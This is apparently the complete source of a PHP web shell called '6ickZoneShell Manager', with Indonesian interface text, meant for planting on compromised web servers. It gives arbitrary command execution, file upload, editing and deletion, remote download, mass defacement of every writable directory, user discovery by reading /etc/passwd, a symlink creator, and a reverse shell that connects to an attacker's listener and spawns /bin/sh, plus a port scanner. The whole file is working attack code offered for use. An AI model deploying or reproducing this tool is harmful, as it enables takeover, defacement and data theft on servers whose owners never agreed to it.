/** * 6ickZoneShell Manager by 0x6ick x Nyx6st | Copyright 2025 by 6ickwhispers@gmail.com * --- RE-ORGANIZED MENU VERSION by Nyx6st --- * All features integrated, with new menu layout and network tools. **/error_reporting(0);session_start();@ini_set('output_buffering', 0);@ini_set('display_errors', 0);ini_set('memory_limit', '256M');header('Content-Type: text/html; charset=UTF-8');ob_end_clean();// --- CONFIG ---$title = "ヤミRoot VoidGate";$author = "0x6ick";$theme_bg = "#0a0a0f"; // Dark violet-black cyber base$theme_fg = "#E0FF00"; // Neon yellow text$theme_highlight = "#FF00C8"; // Pink cyber glow$theme_link = "#00FFF7"; // Electric cyan$theme_link_hover = "#FF00A0"; // Pink on hover$theme_border_color = "#7D00FF"; // Neon purple border$theme_table_header_bg = "#1a0025"; // Dark purple-ish header$theme_table_row_hover = "#330033"; // Deep glitch violet$theme_input_bg = "#120024"; // Dark form input bg$theme_input_fg = "#00FFB2"; // Neon greenish-cyan input text$font_family = "'Orbitron', sans-serif"; // Futuristic mecha font$message_success_color = "#39FF14"; // Bright lime green$message_error_color = "#FF0033"; // Neon blood red// --- FUNCTIONS ---function sanitizeFilename($filename) { return basename($filename); }function exe($cmd) { if (function_exists('exec')) { exec($cmd . ' 2>&1', $output); return implode("\n", $output); } elseif (function_exists('shell_exec')) { return shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); } return "Command execution disabled."; }function perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; }function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); }function zip_add_folder($zip, $folder, $base_path_length) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = substr($file_path, $base_path_length); $zip->addFile($file_path, $relative_path); } } }function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; header("Location: ?" . http_build_query($params)); exit(); }// --- INITIAL SETUP & PATH ---$path = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd());$path = str_replace('\\','/',$path);// --- HANDLERS FOR ACTIONS THAT REDIRECT ---if(isset($_POST['start_mass_deface'])) { $mass_deface_results = ''; function mass_deface_recursive($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($dir)."
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi)) { if(is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($lokasi)."
"; } } } } function mass_deface_flat($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[<font color=red>FAILED</font>] ".htmlspecialchars($dir)."
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi) && is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; } } } if($_POST['tipe_sabun'] == 'mahal') mass_deface_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); else mass_deface_flat($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); $_SESSION['feature_output'] = $mass_deface_results; redirect_with_message('success', 'Mass Deface Selesai!', $path); }if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if(copy($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)) redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); else redirect_with_message('error', 'File Gagal Diupload !!', $path); }if (isset($_POST['bulk_action']) && class_exists('ZipArchive')) { $action = $_POST['bulk_action']; $selected_files = isset($_POST['selected_files']) ? $_POST['selected_files'] : []; if ($action === 'zip_selected' && !empty($selected_files)) { $zip_filename = 'archive_' . date('Y-m-d_H-i-s') . '.zip'; $zip_filepath = $path . DIRECTORY_SEPARATOR . $zip_filename; $zip = new ZipArchive(); if ($zip->open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($selected_files as $file) { $file_path = realpath($file); if (is_file($file_path)) $zip->addFile($file_path, basename($file_path)); elseif (is_dir($file_path)) zip_add_folder($zip, $file_path, strlen(dirname($file_path) . DIRECTORY_SEPARATOR)); } $zip->close(); redirect_with_message('success', 'File berhasil di-zip ke: ' . $zip_filename, $path); } else { redirect_with_message('error', 'Gagal membuat file zip!', $path); } } }if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd()); switch ($action) { case 'delete': if (delete_recursive($target_full_path)) redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Gagal menghapus! Periksa izin.', $current_dir); break; case 'chmod_save': if(chmod($target_full_path, octdec($_POST['perm_value']))) redirect_with_message('success', 'CHMOD SUCCESS !!', $current_dir); else redirect_with_message('error', 'CHMOD Gagal !!', $current_dir); break; case 'rename_save': $new_full_path = dirname($target_full_path).'/'.sanitizeFilename($_POST['new_name_value']); if(rename($target_full_path, $new_full_path)) redirect_with_message('success', 'RENAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'RENAME Gagal !!', $current_dir); break; case 'edit_save': if(is_writable($target_full_path)) { if(file_put_contents($target_full_path, $_POST['src_content'])) redirect_with_message('success', 'EDIT SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; case 'extract_save': if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_full_path) === TRUE) { $zip->extractTo($current_dir); $zip->close(); redirect_with_message('success', 'File berhasil diekstrak!', $current_dir); } else { redirect_with_message('error', 'Gagal membuka file zip!', $current_dir); } } else { redirect_with_message('error', 'Class ZipArchive tidak ditemukan!', $current_dir); } break; } }if(isset($_GET['create_new'])) { $target_path_new = $path . '/' . sanitizeFilename($_POST['create_name']); if ($_POST['create_type'] == 'file') { if (@file_put_contents($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (@mkdir($target_path_new)) redirect_with_message('success', 'Folder Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); } }if(isset($_POST['curl_download'])) { $url = $_POST['url']; $filename = sanitizeFilename(basename($url)); if (empty($filename)) { $filename = 'downloaded_file'; } if (copy($url, $path . '/' . $filename)) { redirect_with_message('success', 'File ' . $filename . ' berhasil di-download!', $path); } else { redirect_with_message('error', 'Gagal men-download file dari URL!', $path); } }<!DOCTYPE HTML>
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css"><link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/><?php echo htmlspecialchars($title); ?><title> echo htmlspecialchars($title); </title><style>body{font-family:'Orbitron',sans-serif;background-color: echo $theme_bg;;color: echo $theme_fg;;margin:0;padding:0;} a{font-size:1em;color: echo $theme_link;;text-decoration:none;} a:hover{color: echo $theme_link_hover;;} table{border-collapse:collapse;width:95%;max-width:1200px;margin:15px auto;} .td_home{border:2px solid echo $theme_table_row_hover;;padding:7px;vertical-align:middle;} #content tr:hover{background-color: echo $theme_table_row_hover;;} #content .first{background-color: echo $theme_table_header_bg;;font-weight:bold;padding:10px;} input,select,textarea{border:1px solid echo $theme_link_hover;;border-radius:5px;background: echo $theme_input_bg;;color: echo $theme_input_fg;;font-family:'Kelly Slab',cursive;padding:5px;box-sizing:border-box;} input[type="submit"]{background: echo $theme_input_bg;;color: echo $theme_fg;;border:2px solid echo $theme_fg;;cursor:pointer;font-weight:bold;} input[type="submit"]:hover{background: echo $theme_fg;;color: echo $theme_input_bg;;} h1,h3{font-family:'Kelly Slab';text-align:center;} h1{font-size:35px;color:white;margin:20px 0 10px;} h3{color: echo $theme_highlight;} .path-nav{margin:10px auto;width:95%;max-width:1200px;text-align:left;word-wrap:break-word;} .message{padding:10px;margin:10px auto;border-radius:5px;width:95%;max-width:1200px;font-weight:bold;text-align:center;} .message.success{background-color: echo $message_success_color;;color: echo $theme_bg;;} .message.error{background-color: echo $message_error_color;;color:white;} .section-box{background-color:#1a1a1a;border:1px solid echo $theme_border_color;;padding:15px;margin:20px auto;border-radius:8px;width:95%;max-width:1200px;} .main-menu{margin:20px auto;width:95%;max-width:1200px;text-align:center;padding:10px 0;border-top:1px solid echo $theme_border_color;;border-bottom:1px solid echo $theme_border_color;;} .main-menu div { margin-bottom: 5px; } .main-menu a{margin:0 8px;font-size:1.1em;white-space:nowrap;} pre{background-color:#0e0e0e;border:1px solid #444;padding:10px;overflow-x:auto;white-space:pre-wrap;word-wrap:break-word;color:#00FFD1;} code{background:#333;color:#FFB800;padding:2px 5px;border-radius:3px;} details summary {cursor:pointer; background:#222; padding:5px; border-radius:3px; margin-bottom: 5px;}</style><a href="?"><h1 style="color: white;"> echo htmlspecialchars($title); </a>if(isset($_GET['msg_text'])) { echo "<div class='message ".htmlspecialchars($_GET['msg_type'])."'>".htmlspecialchars($_GET['msg_text'])."</div>"; }if(isset($_SESSION['feature_output'])) { echo '<div class="section-box">Hasil Fitur Sebelumnya:
<pre>'.$_SESSION['feature_output'].'</pre></div>'; unset($_SESSION['feature_output']); }<table class="system-info-table" width="95%" border="0" cellpadding="0" cellspacing="0" align="left"><font color='white'><i class='fa fa-user'></i> User / IP </font> | : <font color=' echo $theme_fg; '> echo $_SERVER['REMOTE_ADDR']; </font> |
<font color='white'><i class='fa fa-desktop'></i> Host / Server </font> | : <font color=' echo $theme_fg; '> echo gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']; </font> |
<font color='white'><i class='fa fa-hdd-o'></i> System </font> | : <font color=' echo $theme_fg; '> echo Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64; </font> |
<div class="main-menu"> <div> <a href="?path= echo urlencode($path); &action=cmd">Command</a> | <a href="?path= echo urlencode($path); &action=upload_form">Upload</a> | <a href="?path= echo urlencode($path); &action=create_form">Create</a> </div> <div> <a href="?path= echo urlencode($path); &action=mass_deface_form">Mass Deface</a> | <a href="?path= echo urlencode($path); &action=jumping">Jumping</a> | <a href="?path= echo urlencode($path); &action=symlink">Symlink</a> | <a href="?path= echo urlencode($path); &action=reverse_shell">Reverse Shell</a> </div> <div> <a href="?path= echo urlencode($path); &action=ping">Ping</a> | <a href="?path= echo urlencode($path); &action=portscan">Port Scan</a> | <a href="?path= echo urlencode($path); &action=dnslookup">DNS Lookup</a> | <a href="?path= echo urlencode($path); &action=whois">Whois</a> | <a href="?path= echo urlencode($path); &action=header">Header</a> | <a href="?path= echo urlencode($path); &action=curl">cURL</a> </div></div><div class="path-nav"> <i class="fa fa-folder-o"></i> : $paths_array = explode('/', trim($path, '/')); echo '<a href="?path=/">/</a>'; $current_built_path = ''; foreach($paths_array as $pat){ if(empty($pat)) continue; $current_built_path .= '/' . $pat; echo '<a href="?path='.urlencode($current_built_path).'">'.htmlspecialchars($pat).'</a>/'; } </div>$show_file_list = true;if (isset($_GET['action'])) { $show_file_list = false; echo '<div class="section-box">'; switch ($_GET['action']) { // --- BASIC ACTIONS --- case 'cmd': $cmd_output = (isset($_POST['do_cmd'])) ? htmlspecialchars(exe($_POST['cmd_input'])) : ''; echo 'Execute Command
'; if($cmd_output) echo '<h4>Output:</h4><pre>'.$cmd_output.'</pre>'; break; case 'upload_form': echo 'Upload File
'; break; case 'create_form': echo 'Create New
'; break; // --- HACKING TOOLS --- case 'mass_deface_form': echo 'Mass Deface
'; break; case 'jumping': echo '<i class="fa fa-users"></i> Jumping (User Scanner)
<p>Membaca <code>/etc/passwd</code> untuk menemukan semua user di server dan memeriksa akses direktori home.</p>'; if (is_readable('/etc/passwd')) { preg_match_all('/(^[a-zA-Z0-9\._-]+):x:/m', file_get_contents('/etc/passwd'), $matches); if(!empty($matches[1])){ echo '<tr class="first"><th>Username</th><th>Home Directory</th><th>Status</th><th>Aksi</th>'; foreach ($matches[1] as $user) { $home_dir = '/home/' . $user; if (is_readable($home_dir)) { $status = '<font color="lime">Bisa Dibaca</font>'; $action = '<a href="?path='.urlencode($home_dir).'">Jelajahi</a>'; } else { $status = '<font color="red">Tidak Bisa Dibaca</font>'; $action = '-'; } echo '<td class="td_home">'.htmlspecialchars($user).'<td class="td_home">'.htmlspecialchars($home_dir).'<td class="td_home">'.$status.'<td class="td_home">'.$action.'
'; } echo '
'; } } else { echo '<p style="color:red;"><strong>Gagal:</strong> File <code>/etc/passwd</code> tidak bisa dibaca.</p>'; } break; case 'symlink': echo '<i class="fa fa-link"></i> Symlink Creator
'; if (!function_exists('symlink')) { echo '<p style="color:red;"><strong>Gagal:</strong> Fungsi <code>symlink()</code> dinonaktifkan di server ini.</p>'; } else { if (isset($_POST['create_symlink'])) { if (symlink($_POST['target_file'], $path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name']))) { echo '<p style="color:lime;"><strong>Sukses!</strong> Symlink dibuat. Akses di: <a href="'.htmlspecialchars(sanitizeFilename($_POST['link_name'])).'" target="_blank">'.htmlspecialchars($path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name'])).'</a></p>'; } else { echo '<p style="color:red;"><strong>Gagal!</strong> Tidak bisa membuat symlink.</p>'; } } echo ''; } break; case 'reverse_shell': echo '<i class="fa fa-terminal"></i> Reverse Shell
'; if (!function_exists('fsockopen') || !function_exists('proc_open')) { echo '<p style="color:red;"><strong>Gagal:</strong> Fungsi <code>fsockopen()</code> atau <code>proc_open()</code> dinonaktifkan.</p>'; } else { $ip_attacker = isset($_POST['ip_attacker']) ? htmlspecialchars($_POST['ip_attacker']) : $_SERVER['REMOTE_ADDR']; $port_attacker = isset($_POST['port_attacker']) ? htmlspecialchars($_POST['port_attacker']) : '4444'; echo '<div style="background:#222;border:1px solid #444;padding:10px;margin-bottom:15px;border-radius:5px;"><h4><i class="fa fa-info-circle"></i> Cara Pakai:</h4><ol><li>Di terminalmu, jalankan listener: <code>nc -lvnp '.$port_attacker.'</code></li><li>Masukkan <strong>IP Publik</strong> komputermu di bawah.</li><li>Klik "GASKEUN!". Halaman browser ini mungkin akan terus loading (normal).</li><li>Cek terminalmu, shell server akan muncul jika berhasil.</li></ol></div>'; echo ''; if (isset($_POST['start_reverse_shell'])) { echo "<h4>Mencoba koneksi ke ".htmlspecialchars($_POST['ip_attacker']).":".htmlspecialchars($_POST['port_attacker'])." ...</h4>"; if(ob_get_level()) ob_end_flush(); flush(); set_time_limit(0); ignore_user_abort(true); $sock = @fsockopen($_POST['ip_attacker'], (int)$_POST['port_attacker'], $errno, $errstr, 30); if (!$sock) { echo '<p style="color:red;"><strong>Koneksi Gagal!</strong> Pastikan listener sudah berjalan.</p>'; } else { echo '<p style="color:lime;"><strong>Koneksi Berhasil!</strong> Cek terminalmu sekarang!</p>'; if(ob_get_level()) ob_end_flush(); flush(); $process = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); if (is_resource($process)) proc_close($process); } } } break; // --- NETWORK TOOLS --- case 'ping': $ping_output = (isset($_POST['do_ping'])) ? htmlspecialchars(exe("ping -c 4 ".escapeshellarg($_POST['target_host']))) : ''; echo 'Ping
'; if($ping_output) echo '<h4>Output:</h4><pre>'.$ping_output.'</pre>'; break; case 'portscan': $scan_output = (isset($_POST['do_scan'])) ? htmlspecialchars(exe("nmap -p ".escapeshellarg($_POST['ports'])." ".escapeshellarg($_POST['target_host']))) : ''; echo 'Port Scan (nmap)
'; if($scan_output) echo '<h4>Output:</h4><pre>'.$scan_output.'</pre>'; break; case 'dnslookup': $dns_output = (isset($_POST['do_lookup'])) ? htmlspecialchars(exe("dig ".escapeshellarg($_POST['target_domain'])." ".escapeshellarg($_POST['record_type']))) : ''; echo 'DNS Lookup (dig)
'; if($dns_output) echo '<h4>Output:</h4><pre>'.$dns_output.'</pre>'; break; case 'whois': $whois_output = (isset($_POST['do_whois'])) ? htmlspecialchars(exe("whois ".escapeshellarg($_POST['target_domain']))) : ''; echo 'Whois Lookup
'; if($whois_output) echo '<h4>Output:</h4><pre>'.$whois_output.'</pre>'; break; case 'header': $header_output = ''; if (isset($_POST['get_header'])) { $url = $_POST['target_url']; if(filter_var($url, FILTER_VALIDATE_URL)) { $headers = get_headers($url, 1); $header_output = htmlspecialchars(print_r($headers, true)); } else { $header_output = 'URL tidak valid.'; } } echo 'HTTP Header Viewer
'; if($header_output) echo '<h4>Output:</h4><pre>'.$header_output.'</pre>'; break; case 'curl': echo 'cURL Downloader
'; break; // --- FILE MANAGER ACTIONS --- case 'delete': echo 'Konfirmasi Hapus: '.htmlspecialchars(basename($_GET['target_file'])).'
<p style="color:red;text-align:center;">Anda YAKIN? Tindakan ini tidak bisa dibatalkan.</p>'; break; case 'extract_form': echo 'Konfirmasi Ekstrak: '.htmlspecialchars(basename($_GET['target_file'])).'
<p>Ekstrak semua isi file ini ke direktori saat ini ('.htmlspecialchars($path).')?</p>'; break; case 'view_file': echo 'Viewing: '.htmlspecialchars(basename($_GET['target_file'])).'
<textarea style="width:100%;height:400px;" readonly>'.htmlspecialchars(@file_get_contents($_GET['target_file'])).'</textarea>'; break; case 'edit_form': echo 'Editing: '.htmlspecialchars(basename($_GET['target_file'])).'
'; break; case 'rename_form': echo 'Rename: '.htmlspecialchars(basename($_GET['target_file'])).'
'; break; case 'chmod_form': $current_perms = substr(sprintf('%o', @fileperms($_GET['target_file'])), -4); echo 'Chmod: '.htmlspecialchars(basename($_GET['target_file'])).'
'; break; } echo '</div>';}if ($show_file_list) { echo '';}<hr style="border-top: 1px solid echo $theme_border_color; ; width: 95%; max-width: 1200px; margin: 15px auto;"><font color="#fff" size="2px">Coded With 💗 by <font color="#7e52c6"> echo htmlspecialchars($author); </font>